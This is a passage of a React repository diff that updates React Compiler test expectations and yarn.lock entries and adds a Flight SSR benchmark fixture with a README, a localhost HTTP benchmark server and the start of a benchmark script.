React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-useMemo-callback-args.ts:2:18
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = useMemo(c => a, []);
|
||||
| ^^^^^^ Could not preserve existing manual memoization
|
||||
3 | return x;
|
||||
4 | }
|
||||
5 |
|
||||
```
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@ function Component({x, y, z}) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 6 errors:
|
||||
Found 4 errors:
|
||||
|
||||
Error: Found missing/extra memoization dependencies
|
||||
|
||||
@@ -157,48 +157,6 @@ error.invalid-exhaustive-deps.ts:37:13
|
||||
40 | }, []);
|
||||
|
||||
Inferred dependencies: `[ref]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.y.z.a.b`, but the source dependencies were [x?.y.z.a?.b.z]. Inferred different dependency than source.
|
||||
|
||||
error.invalid-exhaustive-deps.ts:14:20
|
||||
12 | // ok, not our job to type check nullability
|
||||
13 | }, [x.y.z.a]);
|
||||
> 14 | const c = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 15 | return x?.y.z.a?.b;
|
||||
| ^^^^^^^^^^^^^^^^^^^^^^^
|
||||
> 16 | // error: too precise
|
||||
| ^^^^^^^^^^^^^^^^^^^^^^^
|
||||
> 17 | }, [x?.y.z.a?.b.z]);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
18 | const d = useMemo(() => {
|
||||
19 | return x?.y?.[(console.log(y), z?.b)];
|
||||
20 | // ok
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-exhaustive-deps.ts:35:21
|
||||
33 | const ref2 = useRef(null);
|
||||
34 | const ref = z ? ref1 : ref2;
|
||||
> 35 | const cb = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 36 | return () => {
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 37 | return ref.current;
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 38 | };
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 39 | // error: ref is a stable type but reactive
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 40 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
41 | return <Stringify results={[a, b, c, d, e, f, cb]} />;
|
||||
42 | }
|
||||
43 |
|
||||
```
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ function useHook() {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 2 errors:
|
||||
Found 1 error:
|
||||
|
||||
Error: Found missing memoization dependencies
|
||||
|
||||
@@ -38,19 +38,6 @@ error.invalid-missing-nonreactive-dep-unmemoized.ts:11:31
|
||||
14 |
|
||||
|
||||
Inferred dependencies: `[object]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `object`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-missing-nonreactive-dep-unmemoized.ts:11:24
|
||||
9 | useIdentity();
|
||||
10 | object.x = 0;
|
||||
> 11 | const array = useMemo(() => [object], []);
|
||||
| ^^^^^^^^^^^^^^ Could not preserve existing manual memoization
|
||||
12 | return array;
|
||||
13 | }
|
||||
14 |
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
|
||||
## Input
|
||||
|
||||
```javascript
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import {useEffect, useState} from 'react';
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({value = new Number()}) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState(s => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Code
|
||||
|
||||
```javascript
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import { useEffect, useState } from "react";
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({ value = new Number() }) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState((s) => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Logs
|
||||
|
||||
```
|
||||
{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
|
||||
{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
|
||||
```
|
||||
|
||||
### Eval output
|
||||
(kind: exception) Fixture not implemented
|
||||
@@ -0,0 +1,11 @@
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import {useEffect, useState} from 'react';
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({value = new Number()}) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState(s => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
@@ -30,7 +30,7 @@ function useFoo(input1) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 2 errors:
|
||||
Found 1 error:
|
||||
|
||||
Error: Found missing memoization dependencies
|
||||
|
||||
@@ -46,23 +46,6 @@ error.useMemo-unrelated-mutation-in-depslist.ts:18:14
|
||||
21 | }
|
||||
|
||||
Inferred dependencies: `[x, y]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `input1`, but the source dependencies were [y]. Inferred different dependency than source.
|
||||
|
||||
error.useMemo-unrelated-mutation-in-depslist.ts:16:27
|
||||
14 | const x = {};
|
||||
15 | const y = [input1];
|
||||
> 16 | const memoized = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 17 | return [y];
|
||||
| ^^^^^^^^^^^^^^^
|
||||
> 18 | }, [(mutate(x), y)]);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
19 |
|
||||
20 | return [x, memoized];
|
||||
21 | }
|
||||
```
|
||||
|
||||
|
||||
@@ -10525,7 +10525,16 @@ string-length@^4.0.1:
|
||||
char-regex "^1.0.2"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
|
||||
"string-width-cjs@npm:string-width@^4.2.0":
|
||||
version "4.2.3"
|
||||
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
|
||||
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
|
||||
dependencies:
|
||||
emoji-regex "^8.0.0"
|
||||
is-fullwidth-code-point "^3.0.0"
|
||||
strip-ansi "^6.0.1"
|
||||
|
||||
string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
|
||||
version "4.2.3"
|
||||
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
|
||||
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
|
||||
@@ -10598,7 +10607,14 @@ string_decoder@~1.1.1:
|
||||
dependencies:
|
||||
safe-buffer "~5.1.0"
|
||||
|
||||
"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
|
||||
"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
|
||||
version "6.0.1"
|
||||
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
|
||||
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
|
||||
dependencies:
|
||||
ansi-regex "^5.0.1"
|
||||
|
||||
strip-ansi@^6.0.0, strip-ansi@^6.0.1:
|
||||
version "6.0.1"
|
||||
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
|
||||
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
|
||||
@@ -11064,9 +11080,9 @@ undici-types@~6.19.2:
|
||||
integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
|
||||
|
||||
undici@^6.19.5:
|
||||
version "6.21.2"
|
||||
resolved "https://registry.npmjs.org/undici/-/undici-6.21.2.tgz"
|
||||
integrity sha512-uROZWze0R0itiAKVPsYhFov9LxrPMHLMEQFszeI2gCN6bnIIZ8twzBCJcN2LJrBBLfrP0t1FW0g+JmKVl8Vk1g==
|
||||
version "6.23.0"
|
||||
resolved "https://registry.yarnpkg.com/undici/-/undici-6.23.0.tgz#7953087744d9095a96f115de3140ca3828aff3a4"
|
||||
integrity sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==
|
||||
|
||||
unicode-canonical-property-names-ecmascript@^2.0.0:
|
||||
version "2.0.1"
|
||||
@@ -11375,7 +11391,7 @@ workerpool@^6.5.1:
|
||||
resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz"
|
||||
integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==
|
||||
|
||||
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
|
||||
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
|
||||
version "7.0.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
|
||||
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
|
||||
@@ -11393,6 +11409,15 @@ wrap-ansi@^6.2.0:
|
||||
string-width "^4.1.0"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
wrap-ansi@^7.0.0:
|
||||
version "7.0.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
|
||||
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
|
||||
dependencies:
|
||||
ansi-styles "^4.0.0"
|
||||
string-width "^4.1.0"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
wrap-ansi@^8.1.0:
|
||||
version "8.1.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz"
|
||||
|
||||
62
fixtures/flight-ssr-bench/README.md
Normal file
62
fixtures/flight-ssr-bench/README.md
Normal file
@@ -0,0 +1,62 @@
|
||||
# Flight SSR Benchmark
|
||||
|
||||
Measures the performance overhead of the React Server Components (RSC) Flight pipeline compared to plain Fizz server-side rendering, across both Node and Edge (web streams) APIs.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Build React from the repo root first:
|
||||
|
||||
```sh
|
||||
yarn build-for-flight-prod
|
||||
```
|
||||
|
||||
Then install the fixture's dependencies:
|
||||
|
||||
```sh
|
||||
cd fixtures/flight-ssr-bench
|
||||
yarn install
|
||||
```
|
||||
|
||||
## Scripts
|
||||
|
||||
| Script | Purpose |
|
||||
| --- | --- |
|
||||
| `yarn bench` | Sequential benchmark with Flight script injection (realistic framework pipeline). Best for measuring Edge vs Node overhead. |
|
||||
| `yarn bench:bare` | Sequential benchmark without script injection. Best for measuring React-internal changes (e.g. Flight serialization optimizations) with less noise from stream plumbing. |
|
||||
| `yarn bench:server` | HTTP server benchmark using autocannon at c=1 and c=10. Best for measuring real-world req/s. The c=1 results are also useful for tracking React-internal changes. |
|
||||
| `yarn bench:concurrent` | In-process concurrent benchmark (50 in-flight renders). Measures throughput under load without HTTP overhead. |
|
||||
| `yarn bench:profile` | CPU profiling via V8 inspector. Saves `.cpuprofile` files to `build/profiles/`. |
|
||||
| `yarn start` | Starts the HTTP server for manual browser testing at `http://localhost:3001`. Append `.rsc` to any Flight URL to see the raw Flight payload. |
|
||||
|
||||
## What it measures
|
||||
|
||||
Each script benchmarks 8 render variants:
|
||||
|
||||
- **Fizz (Node, sync/async)** -- plain `renderToPipeableStream`, no RSC
|
||||
- **Fizz (Edge, sync/async)** -- plain `renderToReadableStream`, no RSC
|
||||
- **Flight + Fizz (Node, sync/async)** -- full RSC pipeline: Flight server (`renderToPipeableStream`) -> Flight client (`createFromNodeStream`) -> Fizz (`renderToPipeableStream`)
|
||||
- **Flight + Fizz (Edge, sync/async)** -- full RSC pipeline: Flight server (`renderToReadableStream`) -> Flight client (`createFromReadableStream`) -> Fizz (`renderToReadableStream`)
|
||||
|
||||
The "sync" variants use a fully synchronous app (no Suspense boundaries). The "async" variants use per-row async components with staggered delays and individual Suspense boundaries (~250 boundaries per render).
|
||||
|
||||
### Script injection
|
||||
|
||||
The `yarn bench` and `yarn bench:server` scripts simulate what real frameworks do: tee the Flight stream and inject `<script>` hydration tags into the HTML output. This uses a `setTimeout(0)`-buffered Transform/TransformStream to avoid splitting mid-HTML-tag. `yarn bench:bare` skips this for cleaner React-internal measurement.
|
||||
|
||||
## Test app
|
||||
|
||||
A dashboard with ~25 components (16 client components), rendering:
|
||||
|
||||
- 200 product rows with nested reviews, specifications, and supplier data (~325KB Flight payload)
|
||||
- 50 activity feed items
|
||||
- Stats grid with 24-month chart data
|
||||
- Sidebar with navigation and recent activity
|
||||
|
||||
## Output
|
||||
|
||||
The overhead tables show two comparisons:
|
||||
|
||||
1. **Flight overhead** -- Flight+Fizz vs Fizz-only (how much RSC adds)
|
||||
2. **Edge vs Node** -- web streams vs Node streams (stream implementation cost)
|
||||
|
||||
Delta is shown as percentage change plus a factor (e.g. `+120% 2.20x` means 2.2x slower).
|
||||
350
fixtures/flight-ssr-bench/bench-server.js
Normal file
350
fixtures/flight-ssr-bench/bench-server.js
Normal file
@@ -0,0 +1,350 @@
|
||||
'use strict';
|
||||
|
||||
require('@babel/register')({
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
plugins: ['@babel/plugin-transform-modules-commonjs'],
|
||||
only: [/\/src\//],
|
||||
});
|
||||
|
||||
const http = require('http');
|
||||
const {Readable} = require('stream');
|
||||
const webpack = require('webpack');
|
||||
|
||||
const {clientManifest, ssrManifest} = require('./webpack-mock');
|
||||
const {
|
||||
renderFizzNode,
|
||||
renderFizzEdge,
|
||||
renderFlightFizzNode,
|
||||
renderFlightFizzEdge,
|
||||
} = require('./render-helpers');
|
||||
const {printGrid} = require('./print-helpers');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function build() {
|
||||
const config = require('./webpack.config');
|
||||
return new Promise(function (resolve, reject) {
|
||||
webpack(config, function (err, stats) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
if (stats.hasErrors()) {
|
||||
reject(new Error(stats.toString({errors: true})));
|
||||
return;
|
||||
}
|
||||
console.log(
|
||||
stats.toString({colors: true, modules: false, entrypoints: false})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Server
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const ITEM_COUNT = 200;
|
||||
const PORT = 3001;
|
||||
|
||||
async function main() {
|
||||
console.log('Building RSC bundle...\n');
|
||||
await build();
|
||||
|
||||
const {
|
||||
renderRSCNode,
|
||||
renderRSCEdge,
|
||||
App: RSCApp,
|
||||
AppAsync: RSCAppAsync,
|
||||
} = require('./build/rsc-bundle.js');
|
||||
const App = require('./src/App.js').default;
|
||||
const AppAsync = require('./src/AppAsync.js').default;
|
||||
|
||||
function pipeStreamToRes(stream, res) {
|
||||
if (typeof stream.pipe === 'function') {
|
||||
// Node Readable stream
|
||||
stream.pipe(res);
|
||||
} else {
|
||||
// Web ReadableStream — convert to Node stream for HTTP response
|
||||
Readable.fromWeb(stream).pipe(res);
|
||||
}
|
||||
}
|
||||
|
||||
function pipeToRes(streamOrPromise, res) {
|
||||
if (typeof streamOrPromise.then === 'function') {
|
||||
streamOrPromise.then(
|
||||
function (stream) {
|
||||
pipeStreamToRes(stream, res);
|
||||
},
|
||||
function (err) {
|
||||
console.error(err);
|
||||
if (!res.headersSent) res.writeHead(500);
|
||||
res.end();
|
||||
}
|
||||
);
|
||||
} else {
|
||||
pipeStreamToRes(streamOrPromise, res);
|
||||
}
|
||||
}
|
||||
|
||||
const routes = {
|
||||
'/fizz-node-sync': function (res) {
|
||||
pipeToRes(renderFizzNode(App, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-node-async': function (res) {
|
||||
pipeToRes(renderFizzNode(AppAsync, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-edge-sync': function (res) {
|
||||
pipeToRes(renderFizzEdge(App, ITEM_COUNT), res);
|
||||
},
|
||||
'/fizz-edge-async': function (res) {
|
||||
pipeToRes(renderFizzEdge(AppAsync, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-node-sync': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCApp,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-node-sync.rsc': function (res) {
|
||||
pipeStreamToRes(renderRSCNode(clientManifest, RSCApp, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-node-async': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-node-async.rsc': function (res) {
|
||||
pipeStreamToRes(
|
||||
renderRSCNode(clientManifest, RSCAppAsync, ITEM_COUNT),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-sync': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCApp,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-sync.rsc': function (res) {
|
||||
pipeStreamToRes(renderRSCEdge(clientManifest, RSCApp, ITEM_COUNT), res);
|
||||
},
|
||||
'/flight-edge-async': function (res) {
|
||||
pipeToRes(
|
||||
renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT,
|
||||
clientManifest,
|
||||
ssrManifest
|
||||
),
|
||||
res
|
||||
);
|
||||
},
|
||||
'/flight-edge-async.rsc': function (res) {
|
||||
pipeStreamToRes(
|
||||
renderRSCEdge(clientManifest, RSCAppAsync, ITEM_COUNT),
|
||||
res
|
||||
);
|
||||
},
|
||||
};
|
||||
|
||||
const server = http.createServer(function (req, res) {
|
||||
const handler = routes[req.url];
|
||||
if (!handler) {
|
||||
if (req.url === '/' || req.url === '') {
|
||||
res.writeHead(200, {'Content-Type': 'text/html'});
|
||||
res.end(
|
||||
'<html><body><h1>Flight SSR Bench</h1><ul>' +
|
||||
Object.keys(routes)
|
||||
.map(function (r) {
|
||||
return '<li><a href="' + r + '">' + r + '</a></li>';
|
||||
})
|
||||
.join('') +
|
||||
'</ul></body></html>'
|
||||
);
|
||||
return;
|
||||
}
|
||||
res.writeHead(404);
|
||||
res.end('Not found');
|
||||
return;
|
||||
}
|
||||
const contentType = req.url.endsWith('.rsc')
|
||||
? 'text/x-component'
|
||||
: 'text/html';
|
||||
res.writeHead(200, {'Content-Type': contentType});
|
||||
handler(res);
|
||||
});
|
||||
|
||||
await new Promise(function (resolve) {
|
||||
server.listen(PORT, resolve);
|
||||
});
|
||||
|
||||
console.log('\nServer listening on http://localhost:%d', PORT);
|
||||
console.log('Endpoints:');
|
||||
for (const route of Object.keys(routes)) {
|
||||
console.log(' http://localhost:%d%s', PORT, route);
|
||||
}
|
||||
|
||||
if (!process.argv.includes('--bench')) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Run autocannon against each endpoint.
|
||||
// Use a fixed request count (amount) instead of duration so that all
|
||||
// in-flight requests complete before autocannon closes connections.
|
||||
const autocannon = require('autocannon');
|
||||
const concurrencyLevels = [1, 10];
|
||||
const WARMUP_AMOUNT = 200;
|
||||
const BENCH_AMOUNT = 1000;
|
||||
|
||||
function runAutocannon(benchUrl, connections, amount) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
const instance = autocannon({url: benchUrl, connections, amount});
|
||||
autocannon.track(instance, {
|
||||
renderProgressBar: false,
|
||||
renderResultsTable: false,
|
||||
});
|
||||
instance.on('done', resolve);
|
||||
instance.on('error', reject);
|
||||
});
|
||||
}
|
||||
|
||||
for (const c of concurrencyLevels) {
|
||||
console.log(
|
||||
'\n--- HTTP Benchmark (%d warmup, c=%d, %d requests) ---\n',
|
||||
WARMUP_AMOUNT,
|
||||
c,
|
||||
BENCH_AMOUNT
|
||||
);
|
||||
|
||||
const results = {};
|
||||
const benchRoutes = Object.keys(routes).filter(function (r) {
|
||||
return !r.endsWith('.rsc');
|
||||
});
|
||||
const labelWidth = Math.max(
|
||||
...benchRoutes.map(function (r) {
|
||||
return r.length - 1;
|
||||
})
|
||||
);
|
||||
|
||||
const header =
|
||||
''.padEnd(labelWidth) +
|
||||
' ' +
|
||||
'req/s'.padStart(14) +
|
||||
' ' +
|
||||
'p50'.padStart(8) +
|
||||
' ' +
|
||||
'p99'.padStart(8);
|
||||
console.log(' ' + header);
|
||||
console.log(' ' + '-'.repeat(header.length));
|
||||
|
||||
for (const route of benchRoutes) {
|
||||
const label = route.slice(1);
|
||||
const benchUrl = 'http://localhost:' + PORT + route;
|
||||
|
||||
// Warmup
|
||||
await runAutocannon(benchUrl, c, WARMUP_AMOUNT);
|
||||
|
||||
const data = await runAutocannon(benchUrl, c, BENCH_AMOUNT);
|
||||
const reqPerSec = (1000 / data.latency.mean) * data.connections;
|
||||
const latencyMedian = data.latency.p50;
|
||||
const latencyP99 = data.latency.p99;
|
||||
const errors = data.errors + data.timeouts;
|
||||
|
||||
results[label] = {reqPerSec, latencyMedian, latencyP99};
|
||||
|
||||
let line =
|
||||
' ' +
|
||||
label.padEnd(labelWidth) +
|
||||
' ' +
|
||||
String(reqPerSec.toFixed(1)).padStart(8) +
|
||||
' req/s' +
|
||||
' ' +
|
||||
String(latencyMedian).padStart(5) +
|
||||
' ms' +
|
||||
' ' +
|
||||
String(latencyP99).padStart(5) +
|
||||
' ms';
|
||||
if (errors > 0) {
|
||||
line += ' (' + errors + ' errors)';
|
||||
}
|
||||
console.log(line);
|
||||
}
|
||||
|
||||
const rps = function (r) {
|
||||
return r.reqPerSec;
|
||||
};
|
||||
|
||||
console.log('\n--- Flight overhead (c=%d) ---\n', c);
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', results['fizz-node-sync'], results['flight-node-sync']],
|
||||
[
|
||||
'Node async',
|
||||
results['fizz-node-async'],
|
||||
results['flight-node-async'],
|
||||
],
|
||||
['Edge sync', results['fizz-edge-sync'], results['flight-edge-sync']],
|
||||
[
|
||||
'Edge async',
|
||||
results['fizz-edge-async'],
|
||||
results['flight-edge-async'],
|
||||
],
|
||||
],
|
||||
rps,
|
||||
'req/s'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node (c=%d) ---\n', c);
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', results['fizz-node-sync'], results['fizz-edge-sync']],
|
||||
['Fizz async', results['fizz-node-async'], results['fizz-edge-async']],
|
||||
[
|
||||
'Flight+Fizz sync',
|
||||
results['flight-node-sync'],
|
||||
results['flight-edge-sync'],
|
||||
],
|
||||
[
|
||||
'Flight+Fizz async',
|
||||
results['flight-node-async'],
|
||||
results['flight-edge-async'],
|
||||
],
|
||||
],
|
||||
rps,
|
||||
'req/s'
|
||||
);
|
||||
}
|
||||
|
||||
server.close();
|
||||
}
|
||||
|
||||
main().catch(function (err) {
|
||||
console.error(err);
|
||||
process.exit(1);
|
||||
});
|
||||
726
fixtures/flight-ssr-bench/bench.js
Normal file
726
fixtures/flight-ssr-bench/bench.js
Normal file
@@ -0,0 +1,726 @@
|
||||
'use strict';
|
||||
|
||||
require('@babel/register')({
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
plugins: ['@babel/plugin-transform-modules-commonjs'],
|
||||
only: [/\/src\//],
|
||||
});
|
||||
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const webpack = require('webpack');
|
||||
const inspector = require('node:inspector');
|
||||
|
||||
const {clientManifest, ssrManifest} = require('./webpack-mock');
|
||||
|
||||
const PROFILE_MODE = process.argv.includes('--profile');
|
||||
const CONCURRENT_MODE = process.argv.includes('--concurrent');
|
||||
const INJECT = !process.argv.includes('--no-injection');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function build() {
|
||||
const config = require('./webpack.config');
|
||||
return new Promise(function (resolve, reject) {
|
||||
webpack(config, function (err, stats) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
if (stats.hasErrors()) {
|
||||
reject(new Error(stats.toString({errors: true})));
|
||||
return;
|
||||
}
|
||||
console.log(
|
||||
stats.toString({colors: true, modules: false, entrypoints: false})
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Render helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const {
|
||||
renderFizzNode: renderFizzNodeStream,
|
||||
renderFizzEdge: renderFizzEdgeStream,
|
||||
renderFlightFizzNode: renderFlightFizzNodeStream,
|
||||
renderFlightFizzEdge: renderFlightFizzEdgeStream,
|
||||
nodeStreamToString,
|
||||
webStreamToString,
|
||||
} = require('./render-helpers');
|
||||
const {printGrid} = require('./print-helpers');
|
||||
|
||||
function renderFizzNode(AppComponent, itemCount) {
|
||||
return nodeStreamToString(renderFizzNodeStream(AppComponent, itemCount));
|
||||
}
|
||||
|
||||
function renderFizzEdge(AppComponent, itemCount) {
|
||||
return renderFizzEdgeStream(AppComponent, itemCount).then(webStreamToString);
|
||||
}
|
||||
|
||||
function renderFlightFizzNode(renderRSCNode, AppComponent, itemCount) {
|
||||
return nodeStreamToString(
|
||||
renderFlightFizzNodeStream(
|
||||
renderRSCNode,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
{inject: INJECT}
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
function renderFlightFizzEdge(renderRSCEdge, AppComponent, itemCount) {
|
||||
return renderFlightFizzEdgeStream(
|
||||
renderRSCEdge,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
{inject: INJECT}
|
||||
).then(webStreamToString);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Benchmarking
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const canGC = typeof globalThis.gc === 'function';
|
||||
|
||||
async function runBenchmark(name, fn, iterations, warmup) {
|
||||
